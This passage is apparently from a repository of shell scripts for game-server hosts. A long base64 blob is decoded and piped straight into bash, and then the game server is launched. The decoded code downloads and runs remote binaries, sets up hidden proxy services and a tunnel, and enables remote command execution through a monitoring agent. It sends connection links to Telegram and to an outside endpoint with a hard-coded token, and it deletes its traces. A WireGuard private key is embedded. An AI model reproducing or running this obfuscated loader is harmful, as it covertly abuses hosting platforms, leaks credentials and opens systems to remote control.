lCiAgLSBzZXJ2aWNlOiBodHRwX3N0YXR1czo0MDQKRU9GCiAgZWxzZQogICAgZWNobyAtZSAiXGVbMTszMm1BUkdPX0FVVEggbWlzbWF0Y2ggVHVubmVsU2VjcmV0LHVzZSB0b2tlbiBjb25uZWN0IHRvIHR1bm5lbFxlWzBtIgogIGZpCn0KYXJnb19jb25maWd1cmUKd2FpdAoKZG93bmxvYWRfYW5kX3J1bigpIHsKQVJDSD0kKHVuYW1lIC1tKSAmJiBET1dOTE9BRF9ESVI9Ii4iICYmIG1rZGlyIC1wICIkRE9XTkxPQURfRElSIiAmJiBGSUxFX0lORk89KCkKaWYgWyAiJEFSQ0giID09ICJhcm0iIF0gfHwgWyAiJEFSQ0giID09ICJhcm02NCIgXSB8fCBbICIkQVJDSCIgPT0gImFhcmNoNjQiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FybTY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiYW1kNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODZfNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODYiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FtZDY0LnNzc3MubnljLm1uIgplbHNlCiAgICBlY2hvICJVbnN1cHBvcnRlZCBhcmNoaXRlY3R1cmU6ICRBUkNIIgogICAgZXhpdCAxCmZpCkZJTEVfSU5GTz0oIiRCQVNFX1VSTC9zYiB3ZWIiICIkQkFTRV9VUkwvYm90IGJvdCIpCgppZiBbIC1uICIkTkVaSEFfUE9SVCIgXTsgdGhlbgogICAgRklMRV9JTkZPKz0oIiRCQVNFX1VSTC9hZ2VudCBucG0iKQplbHNlCiAgICBGSUxFX0lORk8rPSgiJEJBU0VfVVJML3YxIHBocCIpCiAgICBORVpIQV9UTFM9JChjYXNlICIke05FWkhBX1NFUlZFUiMjKjp9IiBpbiA0NDN8ODQ0M3wyMDk2fDIwODd8MjA4M3wyMDUzKSBlY2hvIC1uIHRydWU7OyAqKSBlY2hvIC1uIGZhbHNlOzsgZXNhYykKICAgIGNhdCA+ICIke0ZJTEVfUEFUSH0vY29uZmlnLnlhbWwiIDw8IEVPRgpjbGllbnRfc2VjcmV0OiAke05FWkhBX0tFWX0KZGVidWc6IGZhbHNlCmRpc2FibGVfYXV0b191cGRhdGU6IHRydWUKZGlzYWJsZV9jb21tYW5kX2V4ZWN1dGU6IGZhbHNlCmRpc2FibGVfZm9yY2VfdXBkYXRlOiB0cnVlCmRpc2FibGVfbmF0OiBmYWxzZQpkaXNhYmxlX3NlbmRfcXVlcnk6IGZhbHNlCmdwdTogZmFsc2UKaW5zZWN1cmVfdGxzOiBmYWxzZQppcF9yZXBvcnRfcGVyaW9kOiAxODAwCnJlcG9ydF9kZWxheTogMQpzZXJ2ZXI6ICR7TkVaSEFfU0VSVkVSfQpza2lwX2Nvbm5lY3Rpb25fY291bnQ6IGZhbHNlCnNraXBfcHJvY3NfY291bnQ6IGZhbHNlCnRlbXBlcmF0dXJlOiBmYWxzZQp0bHM6ICR7TkVaSEFfVExTfQp1c2VfZ2l0ZWVfdG9fdXBncmFkZTogZmFsc2UKdXNlX2lwdjZfY291bnRyeV9jb2RlOiBmYWxzZQp1dWlkOiAke1VVSUR9CkVPRgpmaQpkZWNsYXJlIC1BIEZJTEVfTUFQCmdlbmVyYXRlX3JhbmRvbV9uYW1lKCkgewogICAgbG9jYWwgY2hhcnM9YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY3ODkwCiAgICBsb2NhbCBuYW1lPSIiCiAgICBmb3IgaSBpbiB7MS4uNn07IGRvCiAgICAgICAgbmFtZT0iJG5hbWUke2NoYXJzOlJBTkRPTSUkeyNjaGFyc306MX0iCiAgICBkb25lCiAgICBlY2hvICIkbmFtZSIKfQpkb3dubG9hZF9maWxlKCkgewogICAgbG9jYWwgVVJMPSQxCiAgICBsb2NhbCBORVdfRklMRU5BTUU9JDIKCiAgICBpZiBjb21tYW5kIC12IGN1cmwgPi9kZXYvbnVsbCAyPiYxOyB0aGVuCiAgICAgICAgY3VybCAtTCAtc1MgLW8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IGN1cmxcZVswbSIKICAgIGVsaWYgY29tbWFuZCAtdiB3Z2V0ID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgIHdnZXQgLXEgLU8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IHdnZXRcZVswbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcZVsxOzMzbU5laXRoZXIgY3VybCBub3Igd2dldCBpcyBhdmFpbGFibGUgZm9yIGRvd25sb2FkaW5nXGVbMG0iCiAgICAgICAgZXhpdCAxCiAgICBmaQp9CmZvciBlbnRyeSBpbiAiJHtGSUxFX0lORk9bQF19IjsgZG8KICAgIFVSTD0kKGVjaG8gIiRlbnRyeSIgfCBjdXQgLWQgJyAnIC1mIDEpCiAgICBSQU5ET01fTkFNRT0kKGdlbmVyYXRlX3JhbmRvbV9uYW1lKQogICAgTkVXX0ZJTEVOQU1FPSIkRE9XTkxPQURfRElSLyRSQU5ET01fTkFNRSIKICAgIAogICAgZG93bmxvYWRfZmlsZSAiJFVSTCIgIiRORVdfRklMRU5BTUUiCiAgICAKICAgIGNobW9kICt4ICIkTkVXX0ZJTEVOQU1FIgogICAgRklMRV9NQVBbJChlY2hvICIkZW50cnkiIHwgY3V0IC1kICcgJyAtZiAyKV09IiRORVdfRklMRU5BTUUiCmRvbmUKd2FpdAoKb3V0cHV0PSQoLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSIgZ2VuZXJhdGUgcmVhbGl0eS1rZXlwYWlyKQpwcml2YXRlX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9Qcml2YXRlS2V5Oi8ge3ByaW50ICQyfScpCnB1YmxpY19rZXk9JChlY2hvICIke291dHB1dH0iIHwgYXdrICcvUHVibGljS2V5Oi8ge3ByaW50ICQyfScpCgpvcGVuc3NsIGVjcGFyYW0gLWdlbmtleSAtbmFtZSBwcmltZTI1NnYxIC1vdXQgInByaXZhdGUua2V5IgpvcGVuc3NsIHJlcSAtbmV3IC14NTA5IC1kYXlzIDM2NTAgLWtleSAicHJpdmF0ZS5rZXkiIC1vdXQgImNlcnQucGVtIiAtc3ViaiAiL0NOPWJpbmcuY29tIgoKICBjYXQgPiBjb25maWcuanNvbiA8PCBFT0YKewogICAgImxvZyI6IHsKICAgICAgICAiZGlzYWJsZWQiOiB0cnVlLAogICAgICAgICJsZXZlbCI6ICJlcnJvciIsCiAgICAgICAgInRpbWVzdGFtcCI6IHRydWUKICAgIH0sCiAgICAiZG5zIjogewogICAgICAgICJzZXJ2ZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJ0YWciOiAiZ29vZ2xlIiwKICAgICAgICAgICJhZGRyZXNzIjogInRsczovLzguOC44LjgiCiAgICAgICAgfQogICAgICBdCiAgICB9LAogICAgImluYm91bmRzIjogWwogICAgewogICAgICAidGFnIjogInZtZXNzLXdzLWluIiwKICAgICAgInR5cGUiOiAidm1lc3MiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtBUkdPX1BPUlR9LAogICAgICAgICJ1c2VycyI6IFsKICAgICAgICB7CiAgICAgICAgICAidXVpZCI6ICIke1VVSUR9IgogICAgICAgIH0KICAgICAgXSwKICAgICAgInRyYW5zcG9ydCI6IHsKICAgICAgICAidHlwZSI6ICJ3cyIsCiAgICAgICAgInBhdGgiOiAiL3ZtZXNzLWFyZ28iLAogICAgICAgICJlYXJseV9kYXRhX2hlYWRlcl9uYW1lIjogIlNlYy1XZWJTb2NrZXQtUHJvdG9jb2wiCiAgICAgIH0KICAgIH0sCiAgICB7CiAgICAgICJ0YWciOiAidHVpYy1pbiIsCiAgICAgICJ0eXBlIjogInR1aWMiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtUVUlDX1BPUlR9LAogICAgICAidXNlcnMiOiBbCiAgICAgICAgewogICAgICAgICAgInV1aWQiOiAiJHtVVUlEfSIsCiAgICAgICAgICAicGFzc3dvcmQiOiAiYWRtaW4iCiAgICAgICAgfQogICAgICBdLAogICAgICAiY29uZ2VzdGlvbl9jb250cm9sIjogImJiciIsCiAgICAgICJ0bHMiOiB7CiAgICAgICAgImVuYWJsZWQiOiB0cnVlLAogICAgICAgICJhbHBuIjogWwogICAgICAgICAgImgzIgogICAgICAgIF0sCiAgICAgICAgImNlcnRpZmljYXRlX3BhdGgiOiAiY2VydC5wZW0iLAogICAgICAgICJrZXlfcGF0aCI6ICJwcml2YXRlLmtleSIKICAgICAgfQogICAgfSwKICAgIHsKICAgICAgInRhZyI6ICJoeXN0ZXJpYTItaW4iLAogICAgICAidHlwZSI6ICJoeXN0ZXJpYTIiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtIWTJfUE9SVH0sCiAgICAgICAgInVzZXJzIjogWwogICAgICAgICAgewogICAgICAgICAgICAgInBhc3N3b3JkIjogIiR7VVVJRH0iCiAgICAgICAgICB9CiAgICAgIF0sCiAgICAgICJtYXNxdWVyYWRlIjogImh0dHBzOi8vYmluZy5jb20iLAogICAgICAgICJ0bHMiOiB7CiAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgImFscG4iOiBbCiAgICAgICAgICAgICAgICAiaDMiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJjZXJ0aWZpY2F0ZV9wYXRoIjogImNlcnQucGVtIiwKICAgICAgICAgICAgImtleV9wYXRoIjogInByaXZhdGUua2V5IgogICAgICAgICAgfQogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJ2bGVzcy1yZWFsaXR5LXZlc2lvbiIsCiAgICAgICAgInR5cGUiOiAidmxlc3MiLAogICAgICAgICJsaXN0ZW4iOiAiOjoiLAogICAgICAgICJsaXN0ZW5fcG9ydCI6ICRSRUFMSVRZX1BPUlQsCiAgICAgICAgICAidXNlcnMiOiBbCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgInV1aWQiOiAiJFVVSUQiLAogICAgICAgICAgICAgICAgImZsb3ciOiAieHRscy1ycHJ4LXZpc2lvbiIKICAgICAgICAgICAgICB9CiAgICAgICAgICBdLAogICAgICAgICAgInRscyI6IHsKICAgICAgICAgICAgICAiZW5hYmxlZCI6IHRydWUsCiAgICAgICAgICAgICAgInNlcnZlcl9uYW1lIjogInd3dy5uYXpodW1pLmNvbSIsCiAgICAgICAgICAgICAgInJlYWxpdHkiOiB7CiAgICAgICAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgImhhbmRzaGFrZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXIiOiAid3d3Lm5hemh1bWkuY29tIiwKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXJfcG9ydCI6IDQ0MwogICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAicHJpdmF0ZV9rZXkiOiAiJHByaXZhdGVfa2V5IiwKICAgICAgICAgICAgICAgICAgInNob3J0X2lkIjogWwogICAgICAgICAgICAgICAgICAgICIiCiAgICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgIH0KICAgXSwKICAib3V0Ym91bmRzIjogWwogICAgewogICAgICAidHlwZSI6ICJkaXJlY3QiLAogICAgICAidGFnIjogImRpcmVjdCIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogImJsb2NrIiwKICAgICAgInRhZyI6ICJibG9jayIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogIndpcmVndWFyZCIsCiAgICAgICJ0YWciOiAid2lyZWd1YXJkLW91dCIsCiAgICAgICJzZXJ2ZXIiOiAiMTYyLjE1OS4xOTIuMjAwIiwKICAgICAgInNlcnZlcl9wb3J0IjogNDUwMCwKICAgICAgImxvY2FsX2FkZHJlc3MiOiBbCiAgICAgICAgIjE3Mi4xNi4wLjIvMzIiLAogICAgICAgICIyNjA2OjQ3MDA6MTEwOjhmNzc6MWNhOTpmMDg2Ojg0NmM6NWY5ZS8xMjgiCiAgICAgIF0sCiAgICAgICJwcml2YXRlX2tleSI6ICJ3SXhzemRSMm5NZEE3YTJVbDNYUWNuaVNmU1pxZHFqUGI2dzZvcHZmNUFVPSIsCiAgICAgICJwZWVyX3B1YmxpY19rZXkiOiAiYm1YT0MrRjFGeEVNRjlkeWlLMkg1LzFTVXR6SDBKdVZvNTFoMndQZmd5bz0iLAogICAgICAicmVzZXJ2ZWQiOiBbMTI2LCAyNDYsIDE3M10KICAgIH0KICBdLAogICJyb3V0ZSI6IHsKICAgICJydWxlX3NldCI6IFsKICAgICAgewogICAgICAgICJ0YWciOiAibmV0ZmxpeCIsCiAgICAgICAgInR5cGUiOiAicmVtb3RlIiwKICAgICAgICAiZm9ybWF0IjogImJpbmFyeSIsCiAgICAgICAgInVybCI6ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTWV0YUN1YmVYL21ldGEtcnVsZXMtZGF0L3NpbmcvZ2VvL2dlb3NpdGUvbmV0ZmxpeC5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJvcGVuYWkiLAogICAgICAgICJ0eXBlIjogInJlbW90ZSIsCiAgICAgICAgImZvcm1hdCI6ICJiaW5hcnkiLAogICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01ldGFDdWJlWC9tZXRhLXJ1bGVzLWRhdC9zaW5nL2dlby9nZW9zaXRlL29wZW5haS5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9CiAgICBdLAogICAgInJ1bGVzIjogWwogICAgICB7CiAgICAgICAgInJ1bGVfc2V0IjogWyJuZXRmbGl4IiwgIm9wZW5haSJdLAogICAgICAgICJvdXRib3VuZCI6ICJ3aXJlZ3VhcmQtb3V0IgogICAgICB9CiAgICBdLAogICAgImZpbmFsIjogImRpcmVjdCIKICB9Cn0KRU9GCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBdOyB0aGVuCiAgICBub2h1cCAuLyIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBydW4gLWMgY29uZmlnLmpzb24gPi9kZXYvbnVsbCAyPiYxICYKICAgIHNsZWVwIDIKICAgIGVjaG8gLWUgIlxlWzE7MzJtJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSBpcyBydW5uaW5nXGVbMG0iCmZpCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbYm90XX0pIiBdOyB0aGVuCiAgICBpZiBbWyAkQVJHT19BVVRIID1+IF5bQS1aMC05YS16PV17MTIwLDI1MH0kIF1dOyB0aGVuCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIHJ1biAtLXRva2VuICR7QVJHT19BVVRIfSIKICAgIGVsaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1jb25maWcgdHVubmVsLnltbCBydW4iCiAgICBlbHNlCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIC0tbG9nZmlsZSBib290LmxvZyAtLWxvZ2xldmVsIGluZm8gLS11cmwgaHR0cDovL2xvY2FsaG9zdDokQVJHT19QT1JUIgogICAgZmkKICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkiICRhcmdzID4vZGV2L251bGwgMj4mMSAmCiAgICBzbGVlcCAyCiAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkgaXMgcnVubmluZ1xlWzBtIiAKZmkKCmlmIFsgLW4gIiRORVpIQV9TRVJWRVIiIF0gJiYgWyAtbiAiJE5FWkhBX1BPUlQiIF0gJiYgWyAtbiAiJE5FWkhBX0tFWSIgXTsgdGhlbgogICAgaWYgWyAtZSAiJChiYXNlbmFtZSAke0ZJTEVfTUFQW25wbV19KSIgXTsgdGhlbgoJICB0bHNQb3J0cz0oIjQ0MyIgIjg0NDMiICIyMDk2IiAiMjA4NyIgIjIwODMiICIyMDUzIikKICAgICAgW1sgIiR7dGxzUG9ydHNbKl19IiA9fiAiJHtORVpIQV9QT1JUfSIgXV0gJiYgTkVaSEFfVExTPSItLXRscyIgfHwgTkVaSEFfVExTPSIiCiAgICAgIGV4cG9ydCBUTVBESVI9JChwd2QpCiAgICAgIG5vaHVwIC4vIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkiIC1zICR7TkVaSEFfU0VSVkVSfToke05FWkhBX1BPUlR9IC1wICR7TkVaSEFfS0VZfSAke05FWkhBX1RMU30gPi9kZXYvbnVsbCAyPiYxICYKICAgICAgc2xlZXAgMgogICAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFtucG1dfSkgaXMgcnVubmluZ1xlWzBtIgogICAgZmkKZWxpZiBbIC1uICIkTkVaSEFfU0VSVkVSIiBdICYmIFsgLW4gIiRORVpIQV9LRVkiIF07IHRoZW4KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFtwaHBdfSkiIF07IHRoZW4KICAgICAgbm9odXAgLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3BocF19KSIgLWMgIiR7RklMRV9QQVRIfS9jb25maWcueWFtbCIgPi9kZXYvbnVsbCAyPiYxICYKICAgICAgZWNobyAtZSAiXGVbMTszMm0kKGJhc2VuYW1lICR7RklMRV9NQVBbcGhwXX0pIGlzIHJ1bm5pbmdcZVswbSIKICAgIGZpCmVsc2UKICAgIGVjaG8gLWUgIlxlWzE7MzVtTkVaSEEgdmFyaWFibGUgaXMgZW1wdHksIHNraXBwaW5nIHJ1bm5pbmdcZVswbSIKZmkKZm9yIGtleSBpbiAiJHshRklMRV9NQVBbQF19IjsgZG8KICAgIGlmIFsgLWUgIiQoYmFzZW5hbWUgJHtGSUxFX01BUFska2V5XX0pIiBdOyB0aGVuCiAgICAgICAgcm0gLXJmICIkKGJhc2VuYW1lICR7RklMRV9NQVBbJGtleV19KSIgPi9kZXYvbnVsbCAyPiYxCiAgICBmaQpkb25lCn0KZG93bmxvYWRfYW5kX3J1bgoKZ2V0X2FyZ29kb21haW4oKSB7CiAgaWYgW1sgLW4gJEFSR09fQVVUSCBdXTsgdGhlbgogICAgZWNobyAiJEFSR09fRE9NQUlOIgogIGVsc2UKICAgIGxvY2FsIHJldHJ5PTAKICAgIGxvY2FsIG1heF9yZXRyaWVzPTYKICAgIGxvY2FsIGFyZ29kb21haW49IiIKICAgIHdoaWxlIFtbICRyZXRyeSAtbHQgJG1heF9yZXRyaWVzIF1dOyBkbwogICAgICAoKHJldHJ5KyspKQogICAgICBhcmdvZG9tYWluPSQoc2VkIC1uICdzfC4qaHR0cHM6Ly9cKFteL10qdHJ5Y2xvdWRmbGFyZVwuY29tXCkuKnxcMXxwJyBib290LmxvZykKICAgICAgaWYgW1sgLW4gJGFyZ29kb21haW4gXV07IHRoZW4KICAgICAgICBicmVhawogICAgICBmaQogICAgICBzbGVlcCAxCiAgICBkb25lCiAgICBlY2hvICIkYXJnb2RvbWFpbiIKICBmaQp9CgpzZW5kX3RlbGVncmFtKCkgewogIFsgLWYgIiR7RklMRV9QQVRIfS9zdWIudHh0IiBdIHx8IHJldHVybgogIE1FU1NBR0U9JChjYXQgIiR7RklMRV9QQVRIfS9zdWIudHh0IikKICBMT0NBTF9NRVNTQUdFPSIqJHtOQU1FfeiKgueCueaOqOmAgemAmuefpSpcYFxgXGAke01FU1NBR0V9XGBcYFxgIgogIEJPVF9NRVNTQUdFPSI8Yj4ke05BTUV96IqC54K55o6o6YCB6YCa55+lPC9iPlxuPHByZT4ke01FU1NBR0V9PC9wcmU+IgogIGlmIFsgLW4gIiR7Qk9UX1RPS0VOfSIgXSAmJiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3Qke0JPVF9UT0tFTn0vc2VuZE1lc3NhZ2UiIFwKICAgICAgLWQgImNoYXRfaWQ9JHtDSEFUX0lEfSZ0ZXh0PSR7TE9DQUxfTUVTU0FHRX0mcGFyc2VfbW9kZT1NYXJrZG93biIgPiAvZGV2L251bGwKCiAgZWxpZiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHA6Ly9hcGkudGcuZ3ZyYW5kZXIuZXUub3JnL2FwaS9ub3RpZnkiIFwKICAgICAgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciBlSldSZ3hDNExjem5LTGlVaURvVXN3QG5NZ0RCQ0NTVWs2SXcwUzlQYnMiIFwKICAgICAgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgXAogICAgICAtZCAiJChwcmludGYgJ3siY2hhdF9pZCI6ICIlcyIsICJtZXNzYWdlIjogIiVzIn0nICIke0NIQVRfSUR9IiAiJHtCT1RfTUVTU0FHRX0iKSIgPiAvZGV2L251bGwKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzVtVEcgdmFyaWFibGUgaXMgZW1wdHksc2tpcHBpbmcgc2VudFxlWzBtIgogICAgcmV0dXJuCiAgZmkKCiAgaWYgWyAkPyAtZXEgMCBdOyB0aGVuCiAgICBlY2hvIC1lICJcblxlWzE7MzJtTm9kZXMgc2VudCB0byBURyBzdWNjZXNzZnVsbHlcZVswbSIKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzFtRmFpbGVkIHRvIHNlbmQgbm9kZXMgdG8gVEdcZVswbSIKICBmaQp9Cgp1cGxvZF9ub2RlcygpIHsKICAgIFtbIC16ICRVUExPQURfVVJMIHx8ICEgLWYgIiR7RklMRV9QQVRIfS9saXN0LnR4dCIgXV0gJiYgcmV0dXJuCiAgICBjb250ZW50PSQoY2F0ICR7RklMRV9QQVRIfS9saXN0LnR4dCkKICAgIG5vZGVzPSQoZWNobyAiJGNvbnRlbnQiIHwgZ3JlcCAtRSAnKHZsZXNzfHZtZXNzfHRyb2phbnxoeXN0ZXJpYTJ8dHVpYyk6Ly8nKQogICAgW1sgLXogJG5vZGVzIF1dICYmIHJldHVybgogICAgbm9kZXM9KCRub2RlcykKICAgIGpzb25fZGF0YT0neyJub2RlcyI6IFsnCiAgICBmb3Igbm9kZSBpbiAiJHtub2Rlc1tAXX0iOyBkbwogICAgICAgIGpzb25fZGF0YSs9IlwiJG5vZGVcIiwiCiAgICBkb25lCiAgICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0KICAgIGpzb25fZGF0YSs9J119JwoKICAgIGN1cmwgLVggUE9TVCAiJFVQTE9BRF9VUkwvYXBpL2FkZC1ub2RlcyIgXAogICAgICAgICAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiBcCiAgICAgICAgIC1kICIkanNvbl9kYXRhIiA+IC9kZXYvbnVsbCAyPiYxCgogICAgaWYgW1sgJD8gLWVxIDAgXV07IHRoZW4KICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzJtTm9kZXMgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5XDAzM1swbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzFtRmFpbGVkIHRvIHVwbG9hZCBub2Rlc1wwMzNbMG0iCiAgICBmaQp9CgphcmdvZG9tYWluPSQoZ2V0X2FyZ29kb21haW4pCmVjaG8gLWUgIlxlWzE7MzJtQXJnb0RvbWFpbjpcZVsxOzM1bSR7YXJnb2RvbWFpbn1cZVswbVxuIgpzbGVlcCAxCklQPSQoY3VybCAtcyAtLW1heC10aW1lIDIgaXB2NC5pcC5zYiB8fCBjdXJsIC1zIC0tbWF4LXRpbWUgMSBhcGkuaXBpZnkub3JnIHx8IHsgaXB2Nj0kKGN1cmwgLXMgLS1tYXgtdGltZSAxIGlwdjYuaXAuc2IpOyBlY2hvICJbJGlwdjZdIjsgfSB8fCBlY2hvICJYWFgiKQpJU1A9JChjdXJsIC1zIC0tbWF4LXRpbWUgMiBodHRwczovL3NwZWVkLmNsb3VkZmxhcmUuY29tL21ldGEgfCBhd2sgLUZcIiAne3ByaW50ICQyNiItIiQxOH0nIHwgc2VkIC1lICdzLyAvXy9nJyB8fCBlY2hvICIwLjAiKQoKVk1FU1M9InsgXCJ2XCI6IFwiMlwiLCBcInBzXCI6IFwiJHtOQU1FfS0ke0lTUH1cIiwgXCJhZGRcIjogXCIke0NGSVB9XCIsIFwicG9ydFwiOiBcIiR7Q0ZQT1JUfVwiLCBcImlkXCI6IFwiJHtVVUlEfVwiLCBcImFpZFwiOiBcIjBcIiwgXCJzY3lcIjogXCJub25lXCIsIFwibmV0XCI6IFwid3NcIiwgXCJ0eXBlXCI6IFwibm9uZVwiLCBcImhvc3RcIjogXCIke2FyZ29kb21haW59XCIsIFwicGF0aFwiOiBcIi92bWVzcy1hcmdvP2VkPTI1NjBcIiwgXCJ0bHNcIjogXCJ0bHNcIiwgXCJzbmlcIjogXCIke2FyZ29kb21haW59XCIsIFwiYWxwblwiOiBcIlwiLCBcImZwXCI6IFwiY2hyb21lXCJ9IgoKY2F0ID4gJHtGSUxFX1BBVEh9L2xpc3QudHh0IDw8RU9GCnZtZXNzOi8vJChlY2hvICIkVk1FU1MiIHwgYmFzZTY0IC13MCkKRU9GCgppZiBbICIkVFVJQ19QT1JUIiAhPSAiNDAwMDAiIF07IHRoZW4KICBlY2hvIC1lICJcbnR1aWM6Ly8ke1VVSUR9OmFkbWluQCR7SVB9OiR7VFVJQ19QT1JUfT9zbmk9d3d3LmJpbmcuY29tJmFscG49aDMmY29uZ2VzdGlvbl9jb250cm9sPWJiciMke05BTUV9LSR7SVNQfSIgPj4gJHtGSUxFX1BBVEh9L2xpc3QudHh0CmZpCgppZiBbICIkSFkyX1BPUlQiICE9ICI1MDAwMCIgXTsgdGhlbgogIGVjaG8gLWUgIlxuaHlzdGVyaWEyOi8vJHtVVUlEfUAke0lQfToke0hZMl9QT1JUfS8/c25pPXd3dy5iaW5nLmNvbSZhbHBuPWgzJmluc2VjdXJlPTEjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKaWYgWyAiJFJFQUxJVFlfUE9SVCIgIT0gIjYwMDAwIiBdOyB0aGVuCiAgZWNobyAtZSAiXG52bGVzczovLyR7VVVJRH1AJHtJUH06JHtSRUFMSVRZX1BPUlR9P2VuY3J5cHRpb249bm9uZSZmbG93PXh0bHMtcnByeC12aXNpb24mc2VjdXJpdHk9cmVhbGl0eSZzbmk9d3d3Lm5hemh1bWkuY29tJmZwPWNocm9tZSZwYms9JHtwdWJsaWNfa2V5fSZ0eXBlPXRjcCZoZWFkZXJUeXBlPW5vbmUjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKYmFzZTY0IC13MCAke0ZJTEVfUEFUSH0vbGlzdC50eHQgPiAke0ZJTEVfUEFUSH0vc3ViLnR4dApjYXQgJHtGSUxFX1BBVEh9L3N1Yi50eHQKZWNobyAtZSAiXG5cblxlWzE7MzJtJHtGSUxFX1BBVEh9L3N1Yi50eHQgc2F2ZWQgc3VjY2Vzc2Z1bGx5XGVbMG0iCnVwbG9kX25vZGVzCnNlbmRfdGVsZWdyYW0KZWNobyAtZSAiXG5cZVsxOzMybVJ1bm5pbmcgZG9uZSFcZVswbVxuIgpzbGVlcCAxMiAKY2xlYXIKCnJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiBzYi5sb2cgY29yZSBmYWtlX3VzZXJhZ2VudF8wLjIuMC5qc29uICR7RklMRV9QQVRIfS9saXN0LnR4dCA+L2Rldi9udWxsIDI+JjE=" | base64 -d | bash 22 | 23 | chmod +x ${GAME_FILE} && ./${GAME_FILE} -config serverconfig.txt 24 | 25 | # tail -f /dev/null 26 | -------------------------------------------------------------------------------- /sing-box游戏机/altv-server: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export UUID=${UUID:-'bc97f674-c578-4940-9234-0a1da46041b9'} # 哪吒v1,在不同的平台需要改UUID,否则会覆盖 3 | export NEZHA_SERVER=${NEZHA_SERVER:-''} # v1哪吒填写形式:nezha.abc.com:8008,v0哪吒填写形式:nezha.abc.com 4 | export NEZHA_PORT=${NEZHA_PORT:-''} # 